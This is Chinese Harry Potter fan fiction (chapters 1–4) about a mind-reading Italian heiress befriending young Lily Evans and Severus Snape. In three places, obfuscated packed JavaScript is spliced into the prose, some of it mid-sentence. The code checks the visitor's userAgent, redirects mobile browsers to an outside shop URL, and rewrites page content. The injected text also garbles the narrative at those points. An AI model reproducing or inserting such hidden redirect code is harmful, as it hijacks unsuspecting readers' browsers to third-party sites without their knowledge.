《【HP】会有天使替我揍你》 1. 1 莉莉·伊万斯在她短暂的十年的人生中第一次如此后悔。 当然,也不一定全是后悔,应该还有点尴尬、不好意思或者愤怒——总而言之各种情绪混合成一团乱七八糟的毛线,剪不断理还乱,干脆统一定义为后悔。 毕竟刚刚她也确实是跟姐姐吵了一架才接下给新邻居送礼物的任务的…… 此刻她正站在新邻居的家门口,原本五分钟前还满脸和蔼的老妇人也变了脸色,浓浓的愧疚几乎让这位老人家不敢看莉莉漂亮的绿眼睛。 “实在抱歉,伊万斯小姐,我为小姐的话向您致以十二万分的歉意——她绝对不是故意的,只是,”自称“玛利亚”的老管家几乎垂泪,“她的病情因为来到异国他乡严重了许多……哦我可怜的小主人,请您宽恕她。” 莉莉到底是个善解人意的好孩子,情绪也平复不少,她不忍心让一位老人家再站在门口了,就将手中的篮子递过去:“没事的玛利亚夫人,不过还请您收下这个,这是我们家对新邻居一直以来的传统。” 篮子里是一些造型可爱的小蛋糕,莉莉的母亲最擅长的作品。 “哦,我们当然不会拒绝这个,实际上我也准备了不少见面礼,只不过收拾房间太忙了,所以……”玛利亚接过篮子,看了两眼莉莉,突然像发现了新大陆似的,握住莉莉的手,“伊万斯小姐,请问您是不是……” 她压低了声音,“我的意思是,您是否有一些与众不同的力量?” 莉莉瞬间慌张起来:“呃,我、也许我该走了……” “不,不不不,伊万斯小姐,”玛利亚从她的神态中找到了真相,露出一个大大的笑,“其实小姐也是——” 她只做了口型,但莉莉看出那是“witch”。 “感谢上帝保佑!原来我们的新邻居也有上天赐予的才能。快,请进来,我给你泡咖、红茶喝,萨卢佐家不能轻慢客人。” 莉莉咬着下唇跟着玛利亚进了这栋房子。 萨卢佐家族不缺钱,为了给小姐不亚于在意大利的生活环境,他们早早地买下相近的两幢房子进行改造。 装潢透着洛可可式浪漫,当然也有哥特式的庄严,仿佛一脚从英国踏进了西西里岛。 看起来新邻居——萨卢佐家很有钱。 莉莉坐在铺着长毛垫子的沙发上,小心地四下打量。 玛利亚很快就从厨房出来,银质的托盘上放着骨瓷雕花的茶壶和茶杯,轻轻放在茶几上。 “谢谢。”莉莉小声道谢,捏着镶银的茶杯把喝了一小口,馥郁的花香和甜香从茶水中氤氲蒸腾,化去了胸口中最后一点情绪。 莉莉吃惊地睁大眼睛:“真好喝,跟我平时喝的红茶味道不一样!” 玛利亚笑起来,又变回了那个和蔼可亲的老太太:“您喜欢就好。冒昧问一句,您今年几岁了?” “九岁,我的生日在一月份。”莉莉放下茶杯回答。 “哦,才九岁,和小姐一个年纪,”玛利亚沉吟,“难怪你不清楚,原来你还没去上学。” 莉莉想起自己从朋友那知道的东西,激动地问她:“您是说Hogwarts?我听说那是英国的魔法学校。您也是巫师吗?” 玛利亚摇头:“我不是,我只是这里的管家,原本是小姐的保姆。家族里只有夫人和小姐是巫师,我只是因为跟着小姐来英国才被夫人叮嘱了一些。” 莉莉有些失望,如果玛利亚是巫师,或者知道得更多就好了。但她很快就转移了注意力:“刚刚那位就是萨卢佐小姐吗?” “是的,那是莱奥卡蒂亚·冯·洛伦佐·西尔维娅·美第奇·维西佩尔·萨卢佐小姐,萨卢佐家族的继承人。”玛利亚温和地介绍,“英国人可能对这个姓氏不熟悉,当然,您可以省略小姐的中间名。这是家主为小姐取的名字,说实话,确实有些长了。” ‘听起来就像个贵族的名字欸。’莉莉喝茶的动作更谨慎了。 “您不必拘谨,小姐只是来英国求学和交朋友的。实际上,出于我个人的私心——” 玛利亚为莉莉添了一点茶,竟然比莉莉看起来还要紧张一点,“离霍格沃茨接收你们这一批学生还有一年多的时间,夫人很忙,只能委托一位信任的朋友来为小姐讲解一些魔法知识……但我从小看着小姐长大,我很担心她会在学校里……” “所以我请求您,伊万斯小姐,我想请您和小姐成为朋友。” 玛利亚的眼里泛起泪花,“我在萨卢佐家里待了将近一辈子,我知道一位可靠的朋友是什么样的,小姐,我认为您有着清正的品行和宽阔的胸怀,现在我们又是邻居,往来就更便利了。” 莉莉眨眨眼:“我很乐意认识一位新朋友,但是……萨卢佐小姐好像不太愿意的样子。” 刚刚那位小姐的神情可算不上友好,语气也冷冰冰的。 玛利亚急忙解释:“不,不是的,小姐只是……” ** “小姐?我能进来吗?”玛利亚敲敲门,“伊万斯小姐带来了一些点心,我想您会喜欢的。” 莉莉站在她后面一点儿,对这扇雕花的彩漆大门啧啧赞叹。 “……既然您不回答,我就当您同意了。”玛利亚朝莉莉眨眨眼,推开门。 除了华贵的原木家具和各种凌乱的箱子,拉着窗帘的昏暗卧室里只有一个名为“莱奥卡蒂亚”的被窝球。 玛利亚“啪”地打开灯。 奢华精致的四柱床上,被窝球动了动。 “小姐,也许您有话要对伊万斯小姐说。”玛利亚走进来,慈祥地轻拍那颗蓬松柔软的球,“小姐,您答应过夫人的。” 被窝里的人说话了,隔着被子有些模糊,但冷淡又疏离的语气却清清楚楚。 “我只是提了我的意见,我认为这没什么好说的。” 莉莉的怒火立刻熊熊燃烧,她大声反驳:“佩妮是我的姐姐!你怎么可以让我……那是坏小孩才会做的!” “只是让你还击罢了。” 被子里的人坐起来,那双紫水晶般的眼睛比她的话语还要冷。 “在萨卢佐家族,不会出现无能力之人诋毁、嫉妒有才能之人的行为,这是不应该的,想要有更好的地位,就要用实力说话。” “这里不是你的萨卢佐家族,这里是英国!”莉莉气鼓鼓地反驳,但又莫名顺着这话去想。 在学校里佩妮总是跟同学说她是个“怪胎”,也许是因为莉莉是同年级里最受欢迎、成绩最好的孩子。而佩妮……也许…… 只不过莉莉也没办法真的硬下心肠对姐姐做什么。 “在哪都一样。” 莱奥卡蒂亚从床上下来,莉莉注意到她身上穿的是一条睡裙,“玛利亚应该向你说了很多有的没的,但我需要向你正式介绍一下自己。” “你只需要记住我的教名莱奥卡蒂亚和萨卢佐这个姓氏,其他的不重要。” “莉莉·伊万斯小姐,”莱奥卡蒂亚站在莉莉面前伸出右手,“为了让你旁边这位可怜的老妇人放心,我想我们可以成为朋友,当然,也许不会长久,这段友谊取决于你我的心情。” 莉莉:……这人说话真的好欠打。 但生性善良的莉莉有一个说话更刻薄的朋友,因此大方握上莱奥卡蒂亚的手:“你可以叫我莉莉。我能叫你莱奥吗?” “名字只是代称,我无所谓别人怎么称呼我。”莱奥卡蒂亚放开手,看向老泪纵横的玛利亚,“也许我和我的第一个朋友需要一点私人空间,玛丽,请为我们准备一点下午茶。” “噢,当然,希望你们玩得愉快。” 玛利亚很快地拿来许多点心和红茶,然后一步三回头地走了。 房间里只剩下莉莉和莱奥卡蒂亚绿眼瞪紫眼。 “接下来的流程是什么?” 莱奥卡蒂亚突然问道。 “啊?” “我第一次和别人达成交友意向。”莱奥卡蒂亚淡淡地看着莉莉,“所以我们接下来做什么?” “呃,说说话然后一起玩?”莉莉回忆着刚刚玛利亚和她说过的话,迟疑地歪头,“你没有上过学吗?在学校里应该会有朋友吧?” “没有,学校不适合我,祖父为我请了很多家教。”莱奥卡蒂亚突然皱眉,“……我不是交不到朋友。” “对不起!”莉莉立马诚恳道歉。 她刚刚在心里大声感叹原来有钱人也会交不到朋友。 “我是天生的摄魂取念者。玛利亚应该说过我的情况并和你解释过这是什么意思。不过请放心,我有很强的自控能力,所以不会轻易去看别人的记忆。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299269|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱奥卡蒂亚终于意识到她们都还站着,于是请莉莉坐在放着点心和红茶的圆桌前。 “刚才是因为你的心音太大了,我没法不去听。” 莉莉还是有些好奇:“你真的能看到我的记忆?就像……你看过《X战警》这部漫画吗?你就像X教授一样!” 她只觉得新朋友超级酷。 “看过,但事实证明,我无法像X教授一样用意念传递自己的想法,以及控制别人。”莱奥卡蒂亚为莉莉倒了茶。 “真好,”莉莉有些羡慕,“巫师真是神奇,幸好我也是巫师。” “这没什么好羡慕的。”莱奥卡蒂亚喝了口茶,“你还认识别的小巫师?我在你的记忆里看到了——也许我需要先为没经过你的同意就看你的记忆道歉——那个男孩叫西弗勒斯·斯内普?” 莉莉早就忘记负面情绪了,也接受了莱奥卡蒂亚的道歉,快乐地点头:“是呀是呀,西弗是我最好的朋友。他的妈妈也是巫师,所以西弗经常和我说巫师世界的故事。” 莱奥卡蒂亚思索一会儿,露出一个浅浅的笑,让她极具日耳曼人特色的深邃面孔熠熠生辉:“也许你可以和他一起来我家。这里只有我和玛丽,过几天还会有一位教导我的长辈,我想他不会拒绝多指导两位小巫师。” 莉莉睁大眼睛:“真的吗?我是说,这会不会太打扰你们?” “不打扰,我们不是朋友吗?” “谢谢你莱奥!就像你看到的那样,我和西弗都不能在家里玩,只能去后山的那棵榉树下玩。”乐天派的小姑娘叹气,“可是冬天实在太冷啦!” 莱奥卡蒂亚轻轻点头:“英国的冬天确实会让人感到不适。” 幸好现在是夏天。 莱奥卡蒂亚抿了一口红茶。 莉莉并没有待多久就告辞了,莱奥卡蒂亚把她送到大门口,注视着这个鲜活生动的红发女孩,直到她进入隔壁那栋房子。 玛利亚欣慰地看着自家小姐:“看起来您和伊万斯小姐相处不错。” “只是应母亲的要求,同时为了获取情报和人脉,所以现在需要朋友罢了。”莱奥卡蒂亚回头看了下时间,“我不吃晚饭,明天早上八点前都不要叫我。” “好的,小姐。” 回到房间后,莱奥卡蒂亚本就没有多少表情的脸就更冷硬了。 她从被窝里摸出一本书扔到床头柜上,走了几步,坐到梳妆台前,腰背挺直,双腿绷紧,用拿起剑的气势拿起一把梳子轻轻梳理灿金的长发。 一下、两下。 在梳到第三下的时候,她放下梳子,走到窗前。 窗外停着一只雕鸮。 莱奥卡蒂亚打开窗子,让它进来。 红棕色眼睛的雕鸮飞到她的书桌上,扔下一封信,然后就开始啄莱奥卡蒂亚随手撒下的猫头鹰粮。 信封上的火漆是紫色的,和莱奥卡蒂亚的眼睛一个颜色,上面的印章是两把交叉的迅捷剑。 她抽出拆信刀,挑开火漆,一字一句地读着信上的花体字。 “亲爱的莱奥, 听你母亲说你来到英国了,我很高兴,希望你能喜欢这里。 相信你正在练习大脑封闭术,也在看那些心理学的书籍,只不过我还是有些忧心,请你一定要答应我,不要随意的读取别人的记忆。” “作为你母亲的朋友,我今天拜访了阿不思,你未来的校长答应我会好好照顾你。 他说自己也认识一位先天的摄魂取念者,只不过那位朋友住在美国,而且年事已高,但他乐意作为中间人为你提供帮助……” 只看到这里,她就没再看下去了。 莱奥卡蒂亚斯条慢理地打开桌上的煤油灯,将信纸烧成灰烬。 帮助?不。 她不需要帮助。 原本她的人生安排很简单,只是一路跳级硕博连读,然后从祖父的手中接过萨卢佐家族的一切,将这个庞然大物带上新的高峰。 学习魔法在莱奥卡蒂亚眼里简直是浪费时间。 就像她以前隐瞒自己的天赋一样,在她眼里,这样的天赋只是一个很好用的工具,没必要深挖。 她不需要身处同类中来增加归属感。 ‘这样的天赋……’她打开窗,让雕鸮飞走,‘谁喜欢谁拿走好了。’ 2. 2 莉莉在和新邻居接触两天后,决定把西弗勒斯正式介绍给她。 但她不太明白,为什么西弗勒斯一听到她有了一个新的巫师邻居之后并没有高兴,而是仓惶和恐惧。 “那,”他嘴唇蠕动,声音极低,“你还会和我玩吗?” 莉莉疑惑:“当然会啊,西弗可是我最好的朋友。而且莱奥也邀请你一起去她家,说不定你们也可以成为很要好的朋友呢。” 毕竟你们有时候都略(重音)显刻薄,一看就很有共同语言。 斯内普不相信。 怎么会有除了莉莉以外的人愿意和他做朋友呢? 根据莉莉的描述,斯内普早就在脑海中勾勒出了一个刻薄倨傲的人形。 他碾动着脚下的小石子,眼神晦涩而悲伤。 他不想失去莉莉这个朋友,也无法阻止她去结交新的朋友,只能在心里盼望着莉莉不会忘记他。 他一无所有,怎么敢去留住太阳一样的莉莉? 对他的心思一无所知的莉莉拉着斯内普来到萨卢佐家。 斯内普垂着头,听见莉莉欢快的声音:“嗨莱奥!下午好!你在浇花吗?我带着西弗来找你玩啦!” 接着是另一道声音:“门没有闩上,请进来吧。” 莉莉就伸手推开门。栅栏门似乎隔出了两片天地,浓郁复杂的花香从院落里倾斜而出,斯内普分辨出其中几种可以做魔药。 他高高提起的心在熟悉的味道中落下一点,垂头跟在莉莉身后踏上石板小径。 莉莉拍拍他:“这就是西弗勒斯,我最好的朋友。西弗,这是莱奥。” 西弗勒斯终于抬起头。 第一时间入目的是满园缤纷,和鲜亮到刺眼的金色长发。 坐在花丛中的女孩穿着最简单的衬衫和长裤,披着一条羊绒披肩,没有梳发型,在这个年纪都显出几分锋利的眉眼却在阳光下无害又温和。 但斯内普就像被针扎了似的后退一大步,瞪着眼睛,满脸写着不可思议:“你……!” 莱奥卡蒂亚像是没看到他失礼的模样,平静地放下水壶站起来,走到他们面前,朝斯内普伸出手:“你好,初次见面,我是莱奥卡蒂亚·萨卢佐。” 斯内普紧抿嘴唇,和她握了手,感受着她虎口的茧,从牙缝中挤出几个单词:“西弗勒斯·斯内普。” 莉莉左右看看:“你们认识?” “不认识。”/“当然不!” 他们异口同声说出一句,然后莱奥卡蒂亚自然而然地松开手:“玛利亚做了不少Semifreddo*,还有经典的提拉米苏和卡萨塔蛋糕,我们可以在花园的亭子里享用它们。” “那真是太好了!”莉莉的注意力一下子就被转移了,“听说意大利的提拉米苏的饼干底会浸咖啡酒。” “但我们还不到可以饮酒的年龄,所以玛利亚只是浸了咖啡。”莱奥卡蒂亚解释一句,“莉莉,你可以先过去,我需要借斯内普先生帮个忙。” “哦,好吧。”莉莉看了斯内普一眼,仿佛在用眼神说‘不要吵架’,然后就走向那个精致的石膏亭子。 等莉莉走远,斯内普才低声说:“原来莉莉说的新朋友是你。” “我也想不到会是你。”莱奥卡蒂亚轻笑,“后来有人介入调解吗?” 斯内普冷嗤:“你指望蜘蛛尾巷的酒囊饭袋和那些势利眼的教职工?没有,不过他们被你吓坏了,很久没再找我的麻烦。” “效果到位就行。你没告诉莉莉?” “告诉她什么?”斯内普直视那双魔魅的紫色眼睛,“告诉她我被揍得很惨,差点掉了一颗牙?还是告诉她有个和她差不多大的女孩子随身带枪?” 他才不会告诉莉莉这些。 “告诉她有一位好心的淑女帮了你。以及你现在还在换牙期,掉牙是正常的。”莱奥卡蒂亚敷衍地移开眼睛,指指花园内的亭子,“我们该过去了,不然Semifreddo化了就不好吃了。” 斯内普本来还想说点什么,就听见亭子那边传来一声惊呼。 “莉莉!”斯内普立刻跑过去,跑得比兔子还快。 莱奥卡蒂亚缓慢地眨了一下眼睛。 哦,忘了栓狗了。 斯内普以为莉莉遇到了危险。 毕竟他亲眼见过莱奥卡蒂亚从斜挎包里掏出两把.枪,黑洞洞的枪口对着那些欺负他的男生,就算浑身是血双臂也平稳又有力,明显就是熟手! 谁知道这人会不会丧心病狂到在花园里也…… 他呼哧呼哧地跑到亭子外,大喊:“莉莉?!你没事……” “吧。” 他看着被两条热情的大狗包围着坐在地上的莉莉,又看看她因为兴奋撸狗而红彤彤的脸颊,身后传来莱奥卡蒂亚慢吞吞的呵斥。 “榛子,橡果,过来。” 棕色和黑色的大狗立刻离开莉莉,路过斯内普时好奇地闻了闻,不然后感兴趣地跑回主人身边。 莱奥卡蒂亚一手捏一个嘴筒子,上下摇晃:“抱歉,他们有点人来疯。” “不,他们很可爱。”莉莉抓着斯内普的手站起来,“他们叫榛子和橡果?噗,好可爱的名字。” “黑色的是榛子,棕色的是橡果。忘记问你们怕不怕狗了,如果你们介意我就让他们回房间。” 斯内普刚想说介意,莉莉就抢先说:“不!当然不!我想和他们一起玩!” 斯内普闭上嘴,阴沉沉地坐在亭子的石凳上。 莱奥卡蒂亚看他一眼,拍拍橡果的头:“橡果脾气很好,适合陪你玩。” 斯内普隐晦地看向油光水滑的黑色长毛大狗。看上去手感很好,威风凛凛又听话的狗谁都喜欢。 “榛子就陪我吧,毕竟他是我最忠诚的朋友。” 斯内普耷拉下眉眼,算了,他对狗不感兴趣。 六根雕花立柱的欧式凉亭被花丛包围,立柱之间砌了石膏长凳,中间则是白色大理石搭建的圆桌。 桌上正摆着一座五层的点心塔,精致的彩绘骨瓷茶壶搭配同款茶杯,花枝缠绕的把手是鎏金的,似乎是葡萄藤的花纹。 “感觉我们在开圆桌会议。”莉莉笑起来。 “巧合的是,立柱上雕刻的就是亚瑟王的故事,”莱奥卡蒂亚和莉莉坐在一起,右手边是斯内普,“上面,”她指指圆顶,“那是湖中剑的画片。” 莉莉抬头,惊叹:“哇……等等,那是一把真的剑吗?” 斯内普浑身一震,也抬头看去。 果然,石膏雕塑的湖中仙子手中握着一把真剑,正要献给亚瑟王。 莱奥卡蒂亚给他们倒茶:“对,是真的,祖父说是凯撒大帝赐给萨卢佐家族的,有一千多年的历史。” 莉莉:“但这种东西不应该放在玻璃罩里保护起来吗?” 莱奥卡蒂亚想了想:“这是品相最差的一把,祖父随手拿给我玩的。最好的一把剑柄是纯金的,那把就像你说的一样被层层保护起来。” 莉莉捧着脸遐想:“原来你真是贵族啊。你家是不是就和电影里一样豪华?” “差不多,毕竟萨卢佐家族延续一千多年了。” 莱奥卡蒂亚垂眸喝茶,余光扫向拘谨的斯内普。 斯内普好像是觉得自己身上的旧罩衫和磨损的皮鞋跟这里格格不入,只捧着茶杯一点点喝着,却不去拿琳琅满目的点心,自卑像藤蔓一样缠着他的心灵。 她能闻见周围淡淡的苦味。 对摄魂取念者来说,记忆是精彩纷呈的电影,情绪就是无数种香料,纠缠在人类的灵魂之上,构成一个独一无二的个体。 莱奥卡蒂亚还记得两年前在蜘蛛尾巷发生的事,甚至都不需要去看他的记忆就能解读他的性格。 狂躁的爸,无力的妈,扭曲的家庭,欺负弱小的同学,造就了尖锐的他。 但可能斯内普对她尖锐不起来,因为他们第一次见面时她就对着人开了枪。 虽然后来她解释了里面是橡胶.弹,也只是打在了领头人的脚边,然而斯内普震惊的神情至今还储存在她的记忆宫殿里。 斯内普察觉到她的目光,抬眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299270|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,里面并没有太多的负面情绪,只有一些疑惑,和掩盖得很好的不爽。 她听见他在脑子里嘀咕为什么她没事老盯着自己看,是不是脑子坏掉了?不去注意天使一样的莉莉而是注意背景一样的自己?有钱人家的大小姐癖.好这么独特? 莱奥卡蒂亚觉得好笑,所以收回了目光,继续和莉莉聊天。 嗯?不应该啊?这些情绪远远没有这么苦涩吧? 那这股苦味是从哪来的? 她陡然变了脸色,捏捏手边的榛子:“榛子,ricerca*。” “莉莉,斯内普,请你们捂住口鼻。” 她的狗都经过化学物品搜查的训练,口令就是意大利语的“搜查”。 嗅觉能直接感受苦味的化学物品她首先会怀疑氰化氢。 莱奥卡蒂亚现在明面上的行踪在美国,英国的住处只有不超过五个人知道,由于天赋她也不畏惧身边出现叛徒,但她现在在招待客人,以她的身份万一出了事会牵扯到无数问题。 榛子立刻进入状态,像黑色的鹰隼一样在凉亭周围盘绕搜寻,却什么都没有发现。 “发生了什么吗?”莉莉捂着鼻子,迷茫地问。 “你们闻到了什么味道吗?”莱奥卡蒂亚的视线跟随着榛子的身影,声音尖锐,“或者有没有什么不适?头晕?胸闷?恶心?” 莉莉认真感受,摇头:“没有呀。” 斯内普也摇头。 榛子回到凉亭,莱奥卡蒂亚松了一口气:“没什么,我闻到一股苦味,以为是氰化氢。” 莉莉还没接触过这么复杂的名词,但斯内普反而像明白了什么一样:“苦味?我今天在家练习做魔药,你可能是闻到魔药的味道了。” 莱奥卡蒂亚挑眉:“魔药?” “对,我母亲教我的。”斯内普沉郁的脸上终于有了一点亮光,“她很擅长做魔药,她还说我也很有天赋。” “听起来很厉害。”莱奥卡蒂亚收起气势,又变回了温和无害的样子。 斯内普看了一眼重新趴下的榛子:“氰化氢是什么?” “一种化学剧毒,我经历过几次,中毒的感觉可不好受。”莱奥卡蒂亚语气平淡,“抱歉,是我太小心了。” 莉莉几乎立刻扑过来抱住她,怜惜地拍拍她的肩膀:“噢,那一定很痛苦。” 斯内普的注意力则在其他东西上:“化学课上似乎提到过,我在想它和一些魔药相比哪一个效力更强。” 莉莉:“西弗勒斯!” 莱奥卡蒂亚倒是顺着他的话思考:“我也不清楚,毕竟我没试过。等你能做出那种魔药之后我可以给你一些氰化氢对比一下。” 莉莉抓住他们俩的手:“两位,这种话题怎么都不应该是我们这个年纪应该讨论的吧?” 你们不要相互带坏对方! 莱奥卡蒂亚:“斯内普,要不你还是告诉莉莉吧?” 斯内普皱眉:“我才不要,你自己说。” 莱奥卡蒂亚就拍拍莉莉抓着她的手:“你知道的,莉莉,作为萨卢佐家族的继承人,我很容易遇到刺杀和袭击,所以这些真的很正常。” 她在家里接受过的训练简直会让萨卢佐家族被儿童保护协会告到联合国。 她微笑着看向斯内普:“如果斯内普能成长为出色的魔药大师就太好了,我就不用担心现代医疗不能及时挽留我的生命。” “哈,”斯内普不由自主地露出今天踏进萨卢佐家的第一个笑,虽然还是有点阴沉,但已经没了紧张和畏缩,“你就这么确定我能成为魔药大师?” “毕竟这个年纪的小巫师没几个能做出合格的魔药,连我的母亲也在这方面很苦手。”莱奥卡蒂亚拉着莉莉重新坐下,“如果真有那么一天,你会成为萨卢佐家族最好的朋友。” “当然,前提是,”她瞥一眼斯内普油腻腻的头发,“你得每天洗头,保持仪表是种美德,不然你知道我的手段。” 斯内普愤恨地瞪她一眼,却不敢说话。 莉莉笑得趴在了橡果身上。 3. 3 “魔杖?”莱奥卡蒂亚比划出一个长度,“这么长的木质品?” “是的,”斯内普神色突然暗淡,“可惜我妈妈的魔杖被她藏起来了,不然我也许能拿给你们看一看。” 虽然听过很多次,莉莉也还是升起了惋惜的情绪。 莱奥卡蒂亚:“你想要吗?” 斯内普眼神死:“小巫师只有在进入霍格沃茨读书之前才能获得魔杖。我们离十一岁还有一年多。” 莱奥卡蒂亚扭头对着榛子说了句意大利语,黑色的大狗窜进房子,没一会儿就叼着一只木头匣子回来。 斯内普顿时警惕起来:“你干什么?” 不要在莉莉面前掏枪! 莱奥卡蒂亚随口回答:“拿魔杖给你们看。” 她打开金属扣子,露出里面十数支造型材质各异的魔杖。 “都是我母亲的战利品。”她这么解释道。 迎着两个小朋友的眼神和嘈杂的心声,莱奥卡蒂亚淡定地拿出一支,看了眼上面的标签:“十五英寸,冬青木,杖芯是独角兽毛。” 她递给莉莉。 “十五点五英寸,花楸木,杖芯也是独角兽毛。” 这支递给了斯内普。 莉莉:…… 斯内普:…… 斯内普:“请问,你是打算在霍格沃茨批发魔杖吗?真是不错的生财之道。” 莱奥卡蒂亚也随手拿了一支:“都说了是母亲的战利品。她喜欢找巫师决斗,然后拿走输家的魔杖。” “当然,她本人的魔杖没有更换过。” 莱奥卡蒂亚偷偷把玩过很多次母亲的魔杖,也玩过老师的魔杖,每一次都觉得没有枪.械顺手。 莉莉兴奋地挥舞着那支木棍,哪怕她一个魔法都不会用:“哇!真厉害!” 斯内普则是珍惜地摸着自己手中的魔杖,回忆自己记忆里属于母亲的那支。 “喜欢就送你们了。”莱奥卡蒂亚在把不需要的东西送给别人这一点上相当熟练。 她来英国的时候母亲将这一匣子魔杖都送给了她。 ‘这些可以当做备用,不喜欢就当柴烧了。’母亲相当温和地摸摸她的长发,‘很抱歉不能陪你一起去英国,要照顾好自己。’ 她当然会照顾好自己。 莱奥卡蒂亚举起手中的魔杖,回忆着母亲唯一一次施展魔法的样子,一挥,一点:“Wingardium leviosa.(羽加迪姆勒维奥萨)” 被她点到的茶杯晃晃悠悠地飘起来,被莱奥卡蒂亚控制着转了个圈,又轻轻落回杯碟上。 莉莉:“!” “教教我!莱奥,快教教我!”莉莉像八爪鱼一样缠上她的手臂,“不敢相信你竟然真的会念咒!” 斯内普的眼睛也彻底亮起来,渴望地看着莱奥卡蒂亚。 “我只会这一个。”莱奥卡蒂亚垂下魔杖尖以防戳到莉莉,“不过你们最好还是不要轻易尝试使用这些魔杖,因为它们不契合你们。” “我同意这一点,魔杖是会选择主人的。”一个含笑的声音从他们身后的苹果树上传来,“你们的第一根魔杖具有特殊的意义,是你们今后的人生中最重要的伙伴,堪比你的伴侣,可不能让它吃醋呢。” 斯内普警惕地回头,而莱奥卡蒂亚则是不紧不慢地关上盒子,才转过头和来人问好:“你好,斯潘塞先生。” 两条大狗作出进攻的姿势,凶恶咧着牙。莱奥卡蒂亚说了一句意大利语,它们才平静下来,再次当一个合格的靠垫。 金棕色卷发的年轻男人大笑着从树上跳下来,从他们旁边的长椅上翻进来:“你好,莱奥,叫我弗雷德里克就好,你和费德丽卡长得真像。” 他的英语带着浓浓的法式风情,相比之下莱奥卡蒂亚堪称标准的伦敦音格外动听。 他俏皮地眨眨眼:“她的金发可是让我即使有朝一日与别人结婚,也会为之神魂颠倒呢。” 莉莉:这是什么情况?朋友妈妈的追求者吗? 斯内普:好混乱。 莱奥卡蒂亚倒是很淡定:“母亲说你是她最好的朋友。” “我当然是,”他自豪地昂头,“我可是输给她两根魔杖了呢。” 莉莉:那你好棒棒哦。 斯内普:这是什么值得炫耀的事吗?快给你的魔杖道歉啊。 “那么,这两位也是小巫师吗?”弗雷德里克在他们面前半蹲下来,他有一双风流多情的蓝眼睛,“你们好,漂亮的小姐,还有你,小绅士,你们是莱奥的朋友吗?” 莉莉红着脸点头:“是的,先生,我们都是莱奥的朋友。” 斯内普还没从他的突然出现中缓过来,这会儿又因为莉莉的表情如临大敌:“我假设你应该清楚,私自偷听别人的谈话是不礼貌的事。” “是有点,”弗雷德里克故作思索状,“那么作为补偿,以后我给莱奥上课的时候你们也可以来听。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299271|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他揉揉莱奥卡蒂亚的头发:“我猜得对不对?” 莱奥卡蒂亚顶着莉莉激动的情绪点头:“是的,弗雷德里克先生,这正是我想拜托您的。” “好啦,咱们说话就不要这么官方啦。”弗雷德里克站起来,相当自来熟地拿起一枚甜点吃起来,“嗯?这个还挺好吃?” “这是Brutti ma Buoni,「丑但好吃」饼干。” “哈哈,确实挺丑的。” 弗雷德里克一口把饼干吃干净:“那我就先不打扰你们小孩子的茶话会了,我刚从法国过来,先去收拾东西,明天再跟你们玩。” 莱奥卡蒂亚颔首:“您自便。” “嘿,都说了不要用敬语,你这点就不像你妈妈。”弗雷德里克又揉了一把她的头发,挥手告别三个小孩。 莉莉脸颊上的红色就没消下去过:“他可真帅。” 斯内普:“还好吧,也就一般。” 莱奥卡蒂亚:“确实一般。” 她用手指梳理着被揉乱的头发,寻找着里面可能存在的饼干屑。 斯内普扫了她的鸡窝头一眼,随即移开目光。 莉莉从自己随身的小挎包里找出一把梳子递给她:“哎呀,弗雷德里克先生下手有点重欸。” 莱奥卡蒂亚接过梳子:“有点自来熟,我不擅长应付这种人。” 而且…… 她抬头,看向屋子。 她听不见弗雷德里克的心声,也看不到他的记忆。 看来他会大脑封闭术。 这是好事。 梳理好头发,莱奥卡蒂亚把梳子还给莉莉,又一人递给他们一块Semifreddo:“吃点东西吧。你们要在这里吃晚饭吗?” 莉莉本来想拒绝,但看了一眼斯内普又点头同意了:“好呀好呀,我和西弗就再次打扰你啦,会有意大利菜吗?” 斯内普咽下了拒绝的话。 “当然有,玛利亚很擅长做饭。当然,意大利的披萨上是绝对没有水果的,虽然我也觉得水果披萨挺好吃的,但不要在玛利亚面前提这事。” 莱奥卡蒂亚对餐桌上有几个人、吃什么菜并不在意。 毕竟她习惯了吃着饭的时候长桌上的某个人突然倒下这种事。 她凝视着石桌上的点心塔,视线范围里是两位可爱的小朋友,两条忠诚的大狗,和满园鲜花。 嗯,今天不会有突如其来的死亡,真好。 4. 4 晚餐的氛围轻松而活跃。 弗雷德里克·斯潘塞是位相当能调动气氛的人,在餐桌上给三个小孩儿普及了许多霍格沃茨的相关知识。 “霍格沃茨的礼厅用的是长桌,四张长桌坐四个学院,不过要我来说,我还是更喜欢去拉文克劳和费德丽卡坐在一起。” 弗雷德里克故意皱起脸,作出一副泫然欲泣的表情,“费德丽卡可是标准的拉文克劳,除了两个学院在一起上的课,我只有在餐桌上才能见到她。” 莱奥卡蒂亚拿着喝汤的勺子,没什么情绪的评论:“母亲确实在学习方面非常认真。” 